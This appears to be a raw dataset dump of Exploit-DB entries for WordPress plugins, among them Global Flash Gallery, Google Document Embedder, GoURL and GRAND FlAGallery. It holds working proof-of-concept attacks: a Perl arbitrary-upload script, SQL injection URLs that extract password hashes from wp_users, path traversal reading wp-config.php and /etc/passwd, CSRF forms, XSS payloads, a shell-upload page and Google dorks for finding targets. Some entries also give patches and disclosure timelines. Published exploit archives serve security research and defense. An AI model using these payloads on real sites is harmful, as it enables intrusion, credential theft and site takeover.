deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39059
Description: WordPress Plugin Global Flash Gallery - 'swfupload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-01-18
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/65060/info

The Global Flash Gallery plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

#! /usr/bin/perl
  use LWP;
  use HTTP::Request::Common;
  
  my ($url, $file) = @ARGV;
  
  my $ua = LWP::UserAgent->new();
  my $req = POST $url,
    Content_Type => 'form-data',
    Content =>    [
  name => $name,
  galleryselect => 1, # Gallery ID (popup.php)
  Filedata => [ "$file", "file.php.gif",  Content_Type =>
  'image/gif' ]
            ];
  my $res = $ua->request( $req );
  if( $res->is_success ) {
    print $res->content;
  } else {
    print $res->status_line, "\n";
  }

--------------------
Example URI:
--------------------
http://www.example.com/wp-content/plugins/global-flash-galleries/swfupload.php
Exploit-DB #18055
Description: WordPress Plugin Glossary - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-31
Author: longrifle0x

Exploit:
######################################################
# Exploit Title: WordPress WP Glossary plugin SQL Injection Vulnerability
# Date: 2011-30-10
# Author: longrifle0x
# software: Wordpress
# Download: http://wordpress.org/extend/plugins/wp-glossary/
# Tools: SQLMAP
######################################################

*DESCRIPTIONDiscovered a vulnerability in WP Glossary, Wordpress Plugin,
vulnerability is SQL injection.
File: wp-content/plugins/wp-glossary/ajax.php
Exploit: id=-1; or 1=if

*Exploitation*
http://localhost:80/wp-content/plugins/wp-glossary/ajax.php
 [GET][id=-1][CURRENT_USER()
http://localhost:80/wp-content/plugins/wp-glossary/ajax.php
 [GET][id=-1][SELECT
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT
0,1)='Y') THEN 1 ELSE 0 END)
http://localhost:80/
wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][MID((VERSION()),1,6)


***Greetz: Georgian Underground Community***
Exploit-DB #35371
Description: WordPress Plugin Google Document Embedder 2.5.14 - SQL Injection
Type: webapps
Platform: php
Date: 2014-11-25
Author: Kacper Szurek

Exploit:
# Exploit Title: Google Doc Embedder 2.5.14 SQL Injection
# Date: 10-11-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/google-document-embedder.2.5.14.zip
# Category: webapps
  
1. Description
  
$_GET['gpid'] is not escaped.

File: google-document-embedder\view.php
if ( isset( $_GET['gpid'] ) ) {
	if ( $profile = gde_get_profile( $_GET['gpid'] ) ) {
		$tb = $profile['tb_flags'];
		$vw = $profile['vw_flags'];
		$bg = $profile['vw_bgcolor'];
		$css = $profile['vw_css'];
	}
}

So we control $id.

File: google-document-embedder\view.php
function gde_get_profile( $id ) {
	global $wpdb;
	$table = $wpdb->prefix . 'gde_profiles';

	$profile = $wpdb->get_results( "SELECT * FROM $table WHERE profile_id = $id", ARRAY_A );
	$profile = unserialize($profile[0]['profile_data']);

	if ( is_array($profile) ) {
		return $profile;
	} else {
		return false;
	}
}

http://security.szurek.pl/google-doc-embedder-2514-sql-injection.html
  
2. Proof of Concept
  
http://wordpress-install/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0 UNION SELECT 1, 2, 3, CONCAT(CAST(CHAR(97, 58, 49, 58, 123, 115, 58, 54, 58, 34, 118, 119, 95, 99, 115, 115, 34, 59, 115, 58) as CHAR), LENGTH(user_pass), CAST(CHAR(58, 34) as CHAR), user_pass, CAST(CHAR(34, 59, 125) as CHAR)) FROM `wp_users` WHERE ID=1
  
3. Solution:
  
Update to version 2.5.15
https://downloads.wordpress.org/plugin/google-document-embedder.2.5.15.zip
https://plugins.trac.wordpress.org/changeset/1023572/google-document-embedder
Exploit-DB #35447
Description: WordPress Plugin Google Document Embedder 2.5.16 - 'mysql_real_escpae_string' Bypass SQL Injection
Type: webapps
Platform: php
Date: 2014-12-03
Author: Securely (Yoo Hee man)

Exploit:
Exploit Title : Google Document Embedder 2.5.16 mysql_real_escpae_string bypass SQL Injection
Data : 2014 – 12 -03
Exploit Author : Securely (Yoo Hee man)
Plugin : google-document-embedder
Fixed version : N/A
Software Link : https://downloads.wordpress.org/plugin/google-document-embedder.2.5.16.zip

1. Detail 
- Google Document Embedder v2.5.14 have SQL Injection
- This Plugin v2.5.16 uses mysql_real_escape_string function has been patched to SQL Injection.
- but mysql_real_escape_string() function is bypass possible
- vulnerability file : /google-document-embedder/~view.php

================================================================
50	// get profile
51	if ( isset( $_GET['gpid'] ) ) {
52		$gpid = mysql_real_escape_string( $_GET['gpid'] );
		//mysql_real_escape_string() is bypass 
53		if ( $profile = gde_get_profile( $gpid ) ) {
54			$tb = $profile['tb_flags'];
55			$vw = $profile['vw_flags'];
56			$bg = $profile['vw_bgcolor'];
57			$css = $profile['vw_css'];
58		}
59	}
================================================================

===============================================================
373 function gde_get_profile( $id ) {
374	global $wpdb;
375	$table = $wpdb->prefix . 'gde_profiles';
376	
377	$profile = $wpdb->get_results( "SELECT * FROM $table WHERE 

profile_id = $id", ARRAY_A );
378	$profile = unserialize($profile[0]['profile_data']);
379	
380	if ( is_array($profile) ) {
381		return $profile;
382	} else {
383		return false;
384	}
385 }
================================================================

2. POC
http://target/wp-content/plugins/google-document-embedder/~view.php?embedded=1&gpid=0%20UNION%20SELECT%201,%202,%203,%20CONCAT(CAST(CHAR(97,%2058,%2049,%2058,%20123,%20115,%2058,%2054,%2058,%2034,%20118,%20119,%2095,%2099,%20115,%20115,%2034,%2059,%20115,%2058)%20as%20CHAR),%20LENGTH(user_login),%20CAST(CHAR(58,%2034)%20as%20CHAR),%20user_login,%20CAST(CHAR(34,%2059,%20125)%20as%20CHAR))%20FROM%20wp_users%20WHERE%20ID=1

3. Solution:
Not patched

4. Discovered By : Securely(Yoo Hee man)
                 God2zuzu@naver.com
Exploit-DB #44435
Description: WordPress Plugin Google Drive 2.2 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-04-09
Author: Lenon Leite

Exploit:
# Exploit Title:  Plugin Google Drive for WordPress 2.2 – RCE – Unlik
# Date: 08/04/2018
# Exploit Author: Lenon Leite
# Vendor Homepage: *https://wordpress.org/plugins/wp-google-drive/
# Software Link: *https://wordpress.org/plugins/wp-google-drive/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 2.2
# Tested on: Ubuntu 16.1

1 - Description


   - Type user access: Don't need of login .
   - $_POST[‘file_name’] is not escaped.

2. Proof of Concept

1 - Send data form:

<form method="post"
      action="http://target/wp-content/plugins/wp-google-drive/gdrive-ajaxs.php">
   <input type="text" name="ajaxstype" value="del_fl_bkp">
   <input type="text" name="file_name" value="../../wp-config.php">
   <input type="text" name="id" value="1">
   <input type="submit">
</form>


#   - Date Discovery : *11/25/2017*
#   - Date Vendor Contact : *12/26/2017*
#   - Date Publish : 08/04/2018
#   - Date Resolution :
Exploit-DB #30637
Description: WordPress Plugin Google FeedBurner FeedSmith 2.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2007-10-04
Author: David Kierznowski

Exploit:
source: https://www.securityfocus.com/bid/25921/info

FeedBurner FeedSmith is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to use a victim's currently active session to perform actions with the application.

This issue affects FeedBurner FeedSmith 2.2; other versions may also be affected. 

// Simple Proof of Concept Exploit for FeedSmith Feedburner CSRF Hijacking
// Tested on version 2.2.

t=&#039;http://www.example.com/wordpress/wp-admin/options-general.php?
    page=FeedBurner_FeedSmith_Plugin.php&#039;;

p=&#039;redirect=true&feedburner_url=http://www.example2.com/with/new/feed&
    feedburner_comments_url=http://www.example3.com/with/new/feed&#039;;

feedburner_csrf = function(t, p) {

        req = new XMLHttpRequest();
        var url = t;
        var params = p;
        req.open("POST", url);

        req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        req.setRequestHeader("Content-length", params.length);
        req.setRequestHeader("Connection", "close");
        req.send(params);

};

feedburner_csrf(t,p);
Exploit-DB #44883
Description: WordPress Plugin Google Map < 4.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2018-06-12
Author: defensecode

Exploit:
# Title: WordPress Google Map Plugin < 4.0.4 - SQL Injection
# Author: defensecode
# Date: 2018-06-12
# Software: WordPress WP Google Map plugin
# Version: 4.0.4 and below
# Vendor Status:  Vendor contacted, no response

# Vulnerability Description
# The easiest way to reproduce the vulnerabilities is to visit the
# provided URL while being logged in as administrator or another user
# that is authorized to access the plugin settings page. Users that do
# not have full administrative privileges could abuse the database
# access the vulnerabilities provide to either escalate their privileges
# or obtain and modify database contents they were not supposed to be
# able to.

# Due to the missing nonce token, the vulnerable code is also directly
# exposed to attack vectors such as Cross Site request forgery (CSRF).

# SQL injection
# Vulnerable Function:  $wpdb->get_results()
# Vulnerable Variable:  $_GET['order']
# Vulnerable URL:

http://vulnerablesite.com/wp-admin/admin.php?page=wpgmp_manage_location&orderby=location_address&order=asc
PROCEDURE ANALYSE(EXTRACTVALUE(4242,CONCAT(0x42,(BENCHMARK(42000000,MD5(0x42424242))))),42)


# SQL injection
# Vulnerable Function:  $wpdb->get_results()
# Vulnerable Variable:  $_GET['orderby']
# Vulnerable URL:

http://vulnerablesite.com/wp-admin/admin.php?page=wpgmp_manage_location&order=asc&orderby=location_address%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(555)))xxx)&order=asc

# Disclosure Timeline
# 2018/05/11   Vulnerabilities discovered
# 2018/05/16   Vendor contacted
# 2018/06/08   No response
# 2018/06/12   Advisory released to the public
Exploit-DB #18989
Description: WordPress Plugin Google Maps via Store Locator 2.7.1 < 3.0.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-05
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Google Maps via Store Locator Plus 
Multiple Vulnerability
# Version : 2.7.1 - 3.0.1
# Link : http://wordpress.org/extend/plugins/store-locator-le/
# Plugins : http://downloads.wordpress.org/plugin/store-locator-le.3.0.1.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/store-locator-le/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

Information Disclosure : Path Website
http://www.exemple.com/wordpress/wp-content/plugins/store-locator-le/core/load_wp_config.php


Send Email :
http://www.exemple.com/wordpress/wp-content/plugins/store-locator-le/core/send-email.php?email_name=test&email_from=test@test.com&email_to=test@exemple.com&email_subject=test&email_message=test


Blind SQL Injection :
PostQuery.php
<?php

$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/store-locator-le/downloadcsv.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('query'=>"SELECT * FROM wp_users",
     'filename'=>'test',
     'all'=>'true'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
Exploit-DB #47567
Description: WordPress Plugin Google Review Slider 6.1 - 'tid' SQL Injection
Type: webapps
Platform: php
Date: 2019-10-31
Author: Princy Edward

Exploit:
# Exploit Title: Wordpress Plugin Google Review Slider 6.1 - 'tid' SQL Injection
# Google Dork: inurl:"/wp-content/plugins/wp-google-places-review-slider/"
# Date: 2019-07-02
# Exploit Author: Princy Edward
# Exploit Author Blog : https://prinyedward.blogspot.com/
# Vendor Homepage: https://wordpress.org/plugins/wp-google-places-review-slider/
# Version: 6.1
# Tested on: Apache/2.2.24 (CentOS)
# CVE : 

#POC :

GET/wp-admin/admin.php?page=wp_google-templates_posts&tid=1&_wpnonce=***
&taction=edit HTTP/1.1

#SQLMAP Result :
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=wp_google-templates_posts&tid=1 AND (SELECT 5357 FROM
(SELECT(SLEEP(5)))kHQz)&_wpnonce=***&taction=edit

# Changeset:
# Issue fixed in version 6.2
# https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2180197%40wp-google-places-review-slider&old=2163061%40wp-google-places-review-slider&sfp_email=&sfph_mail=

Cheers!
PrincyEdward
Exploit-DB #37906
Description: WordPress Plugin Googmonify 0.8.1 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-08-21
Author: Ehsan Hosseini

Exploit:
[+] Exploit Title : Wordpress Googmonify Plug-in XSS/CSRF
[+] Exploit Author : Ehsan Hosseini
[+] Date: 2015-08-21
[+] Vendor Homepage : https://wordpress.org/plugins/googmonify/
[+] Software Link : https://downloads.wordpress.org/plugin/googmonify.zip
[+] Version : 0.8.1
[+] Tested On : Windows FireFox
[+] CVE : N/A

===============================
Vulnerable Code : googmonify.php - Line 190,194,208
<input id="PID" name="PID" type="text" value="<?php echo $pid; ?>">
<input id= "Limit" name="Limit" type="text" value="<?php echo $limit;
?>" size="5">
<input id="AID" name="AID" type="text" value="<?php echo $aid; ?>">
===============================
Exploit 1 (Just CSRF):

<form method="POST"
action="http://[URL]/[Path]/wp-admin/options-general.php?page=googmonify.php">
<input name="PID" type="hidden" value='Ehsan Hosseini'>
<input name="Limit" type="hidden" value="0">
<input name="Analytics" type="hidden" value="0" >
<input name="AID" type="hidden" value="Ehsan Hosseini">
<input name="GoogmonifyUpdate" type="submit" value="Update Options &raquo;">
</form>

Exploit 2 (CSRF & XSS):

<form method="POST"
action="http://[URL]/[Path]/wp-admin/options-general.php?page=googmonify.php">
<input name="PID" type="hidden"
value='"><script>alert(document.cookie)</script>'>
<input name="Limit" type="hidden" value="0">
<input name="Analytics" type="hidden" value="0" >
<input name="AID" type="hidden" value='"><script>alert(/Ehsan
Hosseini/)</script>'>
<input name="GoogmonifyUpdate" type="submit" value="Update Options &raquo;">
</form>
===============================
Patch :  googmonify.php - Line 190,194,208
<input id="PID" name="PID" type="text" value="<?php echo
htmlspecialchars($pid); ?>">
<input id= "Limit" name="Limit" type="text" value="<?php echo
htmlspecialchars($limit); ?>" size="5">
<input id="AID" name="AID" type="text" value="<?php echo
htmlspecialchars($aid); ?>">

===============================
Discovered By : Ehsan Hosseini.
Exploit-DB #47312
Description: WordPress Plugin GoURL.io < 1.4.14 - File Upload
Type: webapps
Platform: php
Date: 2018-10-31
Author: Pouya Darabi

Exploit:
<html>
    <!--

        GoURL Unrestricted Upload Vulnerablity POC by @pouyadarabi      
        CWE-434

        Vulnerable Fucntion: https://github.com/cryptoapi/Bitcoin-Wordpress-Plugin/blob/8aa17068d7ba31a05f66e0ab2bbb55efb0f60017/gourl.php#L5637
        
        Details:
        
          After checking file extention substring was used for file name to select first 95 letter line #5655
          So enter file name like "123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php.jpg"
          will upload a file with .php extention in website :)

    -->

<body>

    <!--

        Replace http://127.0.0.1/wp/ with target wordpress website
        Fill id param in form action to any active download product

    -->

    <form action="http://127.0.0.1/wp/?page=gourlfile&id=1" method="POST" enctype="multipart/form-data">

        <input type="file" name="gourlimage2" />
        <input type="submit"/>
        
    </form>

    <a href="http://127.0.0.1/wp/wp-content/uploads/gourl/images/i123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php">Shell link</a>

</body>

</html>
Exploit-DB #46537
Description: WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2019-03-13
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2019-001
- Original release date: February 06, 2019
- Last revised:  March 13, 2019
- Discovered by: Manuel García Cárdenas
- Severity: 7/10 (CVSS Base Score)
- CVE-ID: CVE-2019-9618
=============================================

I. VULNERABILITY
-------------------------
WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion

II. BACKGROUND
-------------------------
Hassle-free and user-friendly way to add a Media player directly to your
website.

III. DESCRIPTION
-------------------------
This bug was found in the file:

/gracemedia-media-player/templates/files/ajax_controller.php

Vulnerable code:

require_once($_GET['cfg']);

The parameter "cfg" it is not sanitized allowing include local files

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed that is vulnerable to local file
inclusion.

Local File Inclusion POC:

GET
/wordpress/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
GraceMedia Media Player <= 1.0

VII. SOLUTION
-------------------------
Disable plugin until a fix is available, vendor does not fix after 2
requests.

VIII. REFERENCES
-------------------------
https://es.wordpress.org/plugins/gracemedia-media-player/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
February 06, 2019 1: Initial release
March 13, 2019 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
February 06, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas
February 06, 2019 2: Email to vendor without response
February 21, 2019 3: Second email to vendor without response
March 13, 2019 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #36434
Description: WordPress Plugin GRAND FlAGallery 1.57 - 'flagshow.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-12
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/51012/info

GRAND FlAGallery plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

GRAND FlAGallery 1.57 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss]
Exploit-DB #16947
Description: WordPress Plugin GRAND Flash Album Gallery 0.55 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-08
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22870
Reference: http://www.htbridge.ch/advisory/sql_injection_in_grand_flash_album_galle
ry_wordpress_plugin.html
Product: GRAND Flash Album Gallery wordpress plugin
Vendor: Sergey Pasyuk ( http://codeasily.com/ ) 
Vulnerable Version: 0.55
Vendor Notification: 22 February 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/flash-album-gallery/lib/hitcounter.php" script to properly sanitize user-supplied input in "pid" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

http://[host]/wp-content/plugins/flash-album-gallery/lib/hitcounter.php?
pid=SQL_CODE_HERE

Vulnerability ID: HTB22871
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_grand_flash_a
lbum_gallery_wordpress_plugin.html
Product: GRAND Flash Album Gallery wordpress plugin
Vendor: Sergey Pasyuk ( http://codeasily.com/ ) 
Vulnerable Version: 0.55
Vendor Notification: 22 February 2011 
Vulnerability Type: File Content Disclosure
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/flash-album-gallery/admin/news.php" script to properly sanitize user-supplied input in "want2Read" variable.
Successful exploitation of this vulnerability allows remote attacker to obtain content of arbitrary file accessible within the context of vulnerable application.

The following PoC is available:

<form action="http://[host]/wp-content/plugins/flash-album-gallery/admin/news.
php" method="post" name="main" >
<input type="hidden" name="want2Read" value="../../../../wp-config.php" />
<input type="submit" value="submit" name="submit" />
</form>
Exploit-DB #37161
Description: WordPress Plugin GRAND Flash Album Gallery 1.71 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53511/info

The GRAND Flash Album Gallery plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

GRAND Flash Album Gallery 1.71 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=flag-skins&skin=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E